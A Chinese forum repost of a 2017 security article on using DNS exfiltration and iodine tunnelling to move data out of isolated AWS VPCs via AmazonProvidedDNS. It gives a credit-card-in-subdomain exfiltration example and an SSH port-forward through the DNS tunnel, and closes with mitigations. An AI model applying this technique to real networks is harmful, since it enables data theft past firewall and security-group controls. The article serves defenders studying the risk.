搜索

[12101] 2017-12-08_AWS攻防利用DNS技术突破AWS隔离网络限制进行数据渗漏

文档创建者：s7ckTeam
浏览次数：24
最后更新：2025-01-18
2017-12-08_AWS攻防利用DNS技术突破AWS隔离网络限制进行数据渗漏 A W S 攻 防   |   利 用 D N S 技 术 突 破 A W S 隔 离 网 络 限 制 进 行 数 据 渗 漏 c l o u d s   F r e e B u f   2 0 1 7 - 1 2 - 0 8 A W S 客 户 可 以 使 用 默 认 虚 拟 私 有 云 （ 客 户 可 以 使 用 默 认 虚 拟 私 有 云 （ V P C ） 中 的 ） 中 的 D N S 架 构 ， 发 往 架 构 ， 发 往 A W S 管 理 设 施 的 流 量 同 样 也 会 经 过 亚 马 逊 域 名 管 理 设 施 的 流 量 同 样 也 会 经 过 亚 马 逊 域 名 服 务 器 （ 服 务 器 （ A m a z o n P r o v i d e d D N S ） ， 但 是 ， 这 种 ） ， 但 是 ， 这 种 A m a z o n P r o v i d e d D N S 流 量 不 会 像 标 准 用 户 流 量 那 样 能 通 过 同 一 流 量 不 会 像 标 准 用 户 流 量 那 样 能 通 过 同 一 个 网 络 环 境 链 接 流 出 ， 且 不 可 被 个 网 络 环 境 链 接 流 出 ， 且 不 可 被 A W S 安 全 组 审 核 评 估 。 因 此 ， 使 用 安 全 组 审 核 评 估 。 因 此 ， 使 用 D N S 数 据 渗 漏 技 术 （ 数 据 渗 漏 技 术 （ D N S   e x f i l t r a t i o n   ） ， ） ， 就 能 实 现 从 隔 离 网 络 中 窃 取 数 据 。 就 能 实 现 从 隔 离 网 络 中 窃 取 数 据 。 数 据 渗 漏 （ D a t a   e x f i l t r a t i o n ） ： 就 是 黑 客 将 已 经 在 目 标 网 络 中 获 取 的 信 息 传 递 出 来 的 技 术 ， 核 心 就 是 对 欲 渗 出 的 数 据 进 行 加 密 、 混 淆 ， 然 后 通 过 一 些 隐 蔽 的 手 段 传 递 出 来 而 不 被 察 觉 或 者 引 起 警 觉 。 在 某 些 场 景 中 ， 数 据 渗 漏 也 可 称 为 数 据 窃 取 。 D N S 数 据 渗 漏 数 据 渗 漏 D N S 数 据 渗 漏 技 术 允 许 攻 击 者 绕 过 出 站 防 火 墙 规 则 ， 仅 利 用 D N S 协 议 ， 通 过 外 部 服 务 来 进 行 数 据 窃 取 或 执 行 命 令 控 制 活 动 ， 在 这 种 情 况 下 ， 如 果 A W S 的 托 管 D N S 设 施 未 被 禁 用 ， 则 可 以 使 用 D N S 数 据 窃 取 技 术 从 隔 离 的 虚 拟 私 有 云 网 络 环 境 中 （ V P C ） 中 进 行 数 据 窃 取 。 当 内 部 D N S 服 务 器 被 配 置 为 把 外 部 请 求 转 发 至 上 游 D N S 服 务 器 时 ， 可 能 会 发 生 D N S 数 据 泄 露 。   因 为 A W S 允 许 在 所 有 V P C 中 默 认 使 用 预 先 配 置 的 D N S 架 构 （ 即 A m a z o n P r o v i d e d D N S ） ， 攻 击 者 可 以 利 用 这 个 通 道 ， 与 这 种 特 定 环 境 之 外 的 服 务 器 进 行 数 据 发 送 和 接 收 交 互 ， 这 无 疑 会 成 为 数 据 窃 取 的 手 段 之 一 。 要 降 低 这 种 风 险 ， A W S 客 户 可 以 禁 用 亚 马 逊 D N S 架 构 的 预 先 配 置 ， 使 用 自 架 D N S 服 务 器 来 进 行 通 信 。 D N S 工 作 原 理 工 作 原 理 要 理 解 A W S 中 的 D N S 数 据 窃 取 技 术 就 有 必 要 了 解 D N S 的 工 作 原 理 。 在 很 多 组 织 机 构 内 部 ， 由 于 使 用 了 自 架 D N S 服 务 器 来 解 析 外 部 域 名 ， 所 以 在 防 火 墙 上 原 本 的 5 3 端 口 就 被 禁 用 了 。 在 内 部 自 架 D N S 架 构 中 ， 在 当 前 D N S 无 法 有 效 完 成 解 析 时 ， 端 口 5 3 通 常 针 对 上 一 级 别 D N S 服 务 器 开 放 以 继 续 完 成 解 析 请 求 。 以 域 名 ” y o . d e j a n d a y o f f . c o m ” 为 例 ， 我 们 来 看
D N S 如 何 进 行 解 析 ： 1 .   计 算 机 首 先 向 内 部 D N S 服 务 器 请 求 y o . d e j a n d a y o f f . c o m 2 .   为 了 解 析 顶 级 域 名 “ . c o m ” ， 当 前 D N S 服 务 器 须 向 根 D N S 服 务 器 请 求 . C O M 的 D N S 服 务 器 3 .   由 于 我 们 正 在 查 找 的 域 名 是 y o . d e j a n d a y o f f . c o m ， D N S 服 务 器 需 要 找 到 d e j a n d a y o f f . c o m 域 名 服 务 器 4 .   一 旦 匹 配 的 . C O M 域 名 服 务 器 被 找 到 ， D N S 服 务 器 就 会 发 出 一 个 询 问 y o . d e j a n d a y o f f . c o m A 记 录 的 请 求 5 .   域 名 服 务 器 返 回 I P 信 息 响 应 6 .   D N S 服 务 器 向 客 户 端 计 算 机 返 回 I P 地 址 响 应 N o t e ： 整 个 解 析 工 作 流 程 中 ， 可 能 还 牵 涉 运 营 商 D N S 服 务 器 或 上 游 D N S 服 务 器 等 。 如 何 利 用 如 何 利 用 D N S 进 行 数 据 渗 漏 窃 取 进 行 数 据 渗 漏 窃 取 如 果 攻 击 者 可 以 控 制 某 个 域 名 的 域 名 服 务 器 ， 那 么 他 们 就 能 记 录 任 何 子 域 名 查 询 请 求 并 伪 造 相 关 查 询 响 应 。 由 于 域 名 服 务 器 必 须 接 受 标 准 的 D N S 请 求 ， 但 它 对 这 种 请 求 数 据 的 处 理 并 不 一 定 标 准 。 举 个 例 子 ， 我 们 假 设 某 组 织 机 构 内 部 部 署 了 不 与 外 部 互 联 网 连 接 的 内 部 生 产 网 络 ， 而 某 个 内 部 不 满 员 工 打 算 从 该 生 产 网 络 中 窃 取 数 千 个 信 用 卡 账 号 信 息 ， 那 么 存 在 这 种 可 能 ， 就 是 在 D N S 工 作 时 ， 将 信 用 卡 账 号 信 息 添 加 到 域 名 解 析 请 求 中 实 现 数 据 窃 取 ， 如 ： 4 0 1 2 8 8 8 8 8 8 8 8 1 8 8 1 . 1 2 3 . 0 8 0 8 . v i s a . y o . d e j a n d a y o f f . c o m 当 隶 属 于 y o . d e j a n d a y o f f . c o m 的 域 名 服 务 器 收 到 该 请 求 后 ， 会 简 单 地 记 录 该 请 求 ， 并 用 随 机 I P 作 出 响 应 。 攻 击 者 甚 至 可 以 在 单 个 请 求 中 包 含 多 个 卡 号 信 息 ， 或 配 合 压 缩 和 编 码 手 段 减 少 向 外 发 送 的 请 求 数 量 ， 无 论 采 用 哪 种 方 法 ， 攻 击 者 都 可 以 通 过 内 部 D N S 服 务 器 来 解 析 外 部 域 名 ， 从 而 实 现 双 向 通 信 。 这 里 存 在 多 种 可 能 ， 攻 击 者 可 以 创 建 一 个 本 地 h t t p 代 理 ， 只 通 过 D N S 甚 至 本 地 网 络 接 口 ， 利 用 D N S 隧 道 传 输 所 有 类 型 流 量 。   这 种 情 景 下 ， 工 具 i o d i n e 就 可 以 配 上 用 场 。 A W S 网 络 环 境 中 攻 击 者 如 何 利 用 网 络 环 境 中 攻 击 者 如 何 利 用 D N S 数 据 渗 漏 技 术 数 据 渗 漏 技 术 D N S 渗 漏 技 术 并 不 是 现 在 才 有 的 全 新 概 念 ， 而 且 其 缓 解 方 案 也 并 不 简 单 。 在 非 A W S 环 境 中 ， 如 果 不 在 乎 可 用 性 的 前 提
下 ， 一 种 解 决 方 案 是 阻 止 所 有 的 出 站 D N S 连 接 ， 另 一 种 方 案 是 将 允 许 解 析 的 域 名 列 入 白 名 单 ， 但 最 简 单 直 接 的 控 制 措 施 是 监 视 D N S 日 志 的 异 常 情 况 （ 如 请 求 域 的 频 率 ， 请 求 量 的 大 小 等 ） A W S 允 许 使 用 A m a z o n P r o v i d e d D N S 对 每 个 子 网 （ 如 V P C 中 的 I P v 4 网 络 范 围 ） 分 配 一 个 I P 地 址 的 方 式 ， 来 简 化 整 体 网 络 架 构 。 管 理 员 只 允 许 启 用 或 禁 用 每 个 子 网 中 的 D N S 设 施 ， 而 根 据 V P C 流 量 日 志 文 档 介 绍 ， 这 类 管 理 流 量 不 会 被 记 录 到 客 户 端 的 日 志 存 储 b u c k e t 中 ， 因 此 不 会 填 满 客 户 端 的 存 储 b u c k e t ； 另 外 ， 这 类 管 理 流 量 也 不 会 像 标 准 客 户 流 量 那 样 可 通 过 相 同 网 络 链 接 向 外 交 互 ， 且 不 会 被 A W S 安 全 组 评 估 审 核 。 下 图 是 V P C 创 建 时 的 默 认 D N S 配 置 ： 通 常 在 A W S 中 设 置 一 个 出 站 连 接 需 要 两 方 面 的 必 要 条 件 ： 一 条 到 I n t e r n e t 网 关 或 N A T 设 备 的 路 由 允 许 在 某 端 口 上 进 行 出 站 通 信 的 一 个 安 全 组 但 是 ， 攻 击 者 可 以 通 过 A m a z o n P r o v i d e d D N S 绕 过 上 述 方 法 限 制 ，   为 了 演 示 这 个 漏 洞 ， 我 创 建 了 一 个 包 含 公 共 子 网 和 私 有 子 网 的 网 络 。 公 共 子 网 的 唯 一 目 的 是 能 够 通 过 堡 垒 主 机 s s h 方 式 进 入 私 有 子 网 ， 在 公 共 子 网 中 ， 确 实 存 在 方 便 以 s s h 方 式 进 入 堡 垒 主 机 的 一 个 互 联 网 网 关 。 而 私 有 子 网 中 却 不 包 含 任 何 互 联 网 网 关 或 N A T （ 仅 有 默 认 情 况 下 A m a z o n 为 所 有 子 网 分 配 的 D N S   I P ） 。   私 有 子 网 中 的 主 机 安 全 组 配 置 不 包 含 任 何 出 站 规 则 ， 且 只 允 许 以 S S H 方 式 从 堡 垒 主 机 进 入 ， 以 下 为 该 网 络 布 局 图 ： 一 些 相 关 配 置 如 下 ： 公 共 子 网 的 路 由 配 置 表 ： 公 共 子 网 的 路 由 配 置 表 ：
私 有 子 网 的 路 由 配 置 表 ： 私 有 子 网 的 路 由 配 置 表 ： 私 有 主 机 的 入 站 安 全 组 配 置 ： 私 有 主 机 的 入 站 安 全 组 配 置 ： 私 有 主 机 的 出 站 安 全 组 配 置 ： 私 有 主 机 的 出 站 安 全 组 配 置 ： 下 图 为 无 法 连 接 到 外 部 互 联 网 的 证 明 ， 它 为 私 有 服 务 器 主 机 在 请 求 d e j a n d a y o f f . c o m 后 收 到 的 网 络 延 时 响 应 ：
当 网 络 环 境 搭 建 完 成 后 ， 我 会 在 一 个 单 独 的 V P C 中 创 建 另 一 个 运 行 有 i o d i n e d 服 务 的 私 有 服 务 器 主 机 。 接 下 来 ， 该 私 有 服 务 器 使 用 其 i o d i n e d 服 务 客 户 端 连 接 到 远 程 请 求 服 务 器 ： 当 建 立 i o d i n e 连 接 后 ， 我 可 以 用 以 下 命 令 通 过 i o d i n e 的 D N S 隧 道 ， 在 8 0 8 0 端 口 上 创 建 一 个 请 求 g o o g l e . c o m 的 S S H 通 道 ： s h   - L   8 0 8 0 : g o o g l e . c o m : 4 4 3   1 0 . 5 3 . 5 3 . 2 其 中 ， 1 0 . 5 3 . 5 3 . 0 / 2 4 是 i o d i n e 隧 道 的 子 网 ， 而 1 0 . 5 3 . 5 3 . 2 是 我 可 以 通 过 s s h 连 接 的 i o d i n e 服 务 器 。 利 用 c u r l 连 接 h t t p s : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 ， 我 们 就 能 访 问 谷 歌 服 务 器 了 ！
上 图 中 虽 然 谷 歌 服 务 器 的 响 应 使 用 了 重 定 向 ， 但 演 示 本 身 要 说 明 的 是 ： 一 个 没 有 出 站 规 则 、 没 有 互 联 网 网 关 的 服 务 器 照 样 能 够 访 问 外 部 网 站 。 由 此 ， 攻 击 者 就 能 不 受 安 全 检 查 ， 轻 松 地 从 一 个 隔 离 的 A W S 网 络 系 统 中 向 外 实 现 数 据 传 输 。 缓 解 措 施 缓 解 措 施 好 在 亚 马 逊 允 许 用 户 禁 用 V P C 设 置 中 的 A m a z o n P r o v i d e d D N S ， 一 旦 禁 用 ， 用 户 就 必 须 应 用 其 他 软 件 在 网 络 中 自 架 D N S 服 务 器 ， 这 样 一 来 ， 自 架 的 D N S 服 务 器 就 会 记 录 相 关 数 据 ， 并 且 还 能 建 立 必 要 的 网 站 通 信 白 名 单 机 制 。 * 参 考 来 源 ： d e j a n d a y o f f ， f r e e b u f 小 编 c l o u d s 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理